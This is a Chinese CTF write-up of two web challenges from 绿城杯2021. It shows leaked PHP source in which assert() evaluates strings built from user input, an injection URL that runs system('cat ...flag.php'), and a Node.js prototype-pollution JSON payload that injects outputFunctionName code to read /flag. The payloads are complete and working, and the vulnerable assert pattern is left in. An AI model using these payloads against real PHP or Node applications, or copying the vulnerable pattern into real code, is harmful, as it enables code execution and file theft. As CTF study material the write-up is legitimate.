绿城杯2021 Web

ezphp

git泄露得到index.php源码：

```
<?php

if (isset($_GET['link_page'])) {
    $link_page = $_GET['link_page'];
} else {
    $link_page = "home";
}

$page_file = "pages/" . $link_page . ".php";

$safe_check1 = "strpos('$page_file', '..') === false";
assert($safe_check1) or die("no no no!");

// safe!
$safe_check2 = "file_exists('$page_file')";
assert($safe_check2) or die("no this file!");
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>PHP Demo</title>

        <link rel="stylesheet" href="static/bootstrap.min.css" />
    </head>
    <body>
        <nav class="navbar navbar-inverse navbar-fixed-top">
            <div class="container">
                <div class="navbar-header">
                    <button type="button" class="navbar-toggle collapsed" data-
toggle="collapse" data-target="#navbar" aria-expanded="false" aria-
controls="navbar">
                        <span class="sr-only">切换导航</span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                    </button>
                    <a class="navbar-brand" href="#">Demo</a>
                </div>
                <div id="navbar" class="collapse navbar-collapse">
                    <ul class="nav navbar-nav">
```

```
                        <li <?php if ($link_page == "home") { ?>class="active"<?
php } ?>><a href="?link_page=home">首页</a></li>
                        <li <?php if ($link_page == "about") { ?>class="active"
<?php } ?>><a href="?link_page=about">关于</a></li>
                        <li <?php if ($link_page == "contact") { ?
>class="active"<?php } ?>><a href="?link_page=contact">联系方式</a></li>
                        <!--<li <?php if ($link_page == "flag") { ?
>class="active"<?php } ?>><a href="?link_page=flag">My secrets</a></li> -->
                    </ul>
                </div>
            </div>
        </nav>

        <div class="container" style="margin-top: 50px">
            <?php
                require_once $page_file;
            ?>

        </div>

        <script src="static/jquery.min.js" />
        <script src="static/bootstrap.min.js" />
    </body>
</html>
```

环境是PHP7.4但是assert里面还是可以执行代码。

直接通过拼接用assert进行代码执行这里：

```
$safe_check1 = "strpos('$page_file', '..') === false";
```

想办法在strpos的第二个参数那里执行代码即可：

```
http://66165e8c-b357-424a-9565-b20ca0ebb3e7.zzctf.dasctf.com/?
link_page=123',system('cat /var/www/html/pages/flag.php'));//
```

Looking for treasure

进入环境，f12发现`<!-- /source.zip -->`，下载得到`config.js`：

```
module.exports = function(app, fs, lodash){
    app.get('/config', function(req, res, next) {
        let config = res.locals.config;
        let content = JSON.parse(fs.readFileSync(config.filepath).toString())
        res.json(content);
    });

    app.post('/validated/:library?/:method?', function(req, res, next) {
        let config = res.locals.config;
        if (!req.params.library || req.params.library.match(/vm/i)||
req.params.library.match(/../i)|| req.params.library.match(/%2f/i)||
req.params.library.match(/%2F/i)|| req.params.library.match(/\//i))
req.params.library = "json-schema"
```

```
        if (!req.params.method) req.params.method = "validate"

        let json_library = require(req.params.library)
        let valid = json_library[req.params.method](req.body)
        if (!valid) {
            res.send("validator failed");
            return
        }
        let p;
        if (config.path) {
            p = config.path;
        } else if (config.filepath) {
            p = config.filepath;
        } else {
            p = "config.json"
        }
        let content = fs.readFileSync(p).toString()
        try {
            content = JSON.parse(content)
            if (lodash.isEqual(req.body, content))
                res.json(content)
            else
                res.send({ "validator": valid, "content" : content, "log":
"wrong content"})
        } catch {
            res.send({ "validator": valid, "content" : content})
        }
    })
}
```

路由`/config`看了没啥用，那个post的路由看起来非常的眼熟，查了一下原来是DEFCON2021的原题魔改的，那道js题，参考文章：https://0day.design/2020/08/11/defcon%20CTF%20Final%20Web%20WriteUp/

ban掉了所有的非预期，拿预期解打就行了，得到flag。

```
POST /validated HTTP/1.1
Host: 303589be-072f-4bc9-909a-4d7b63f2597a.zzctf.dasctf.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://303589be-072f-4bc9-909a-4d7b63f2597a.zzctf.dasctf.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
If-None-Match: W/"bcd-i939hHPoV1I5TajFBcCnCiBNPXE"
Connection: close
Content-Type: application/json
Content-Length: 357
```

```
{"$schema":{"type":"object","properties":{"__proto__":
{"type":"object","properties":{"outputFunctionName":
{"type":"string","default":"x;var buf = Buffer.alloc(128);var fs =
process.mainModule.require(`fs`);var fd=fs.openSync(`/fl`+`ag`);fs.readSync(fd,
buf, 0, 128);fs.closeSync(fd);return buf.toString();//x"},"path":
{"type":"string","default":"/foo"}}}}}}


DASCTF{bded5ca3471f2a4e67effb05f2705e8d}
```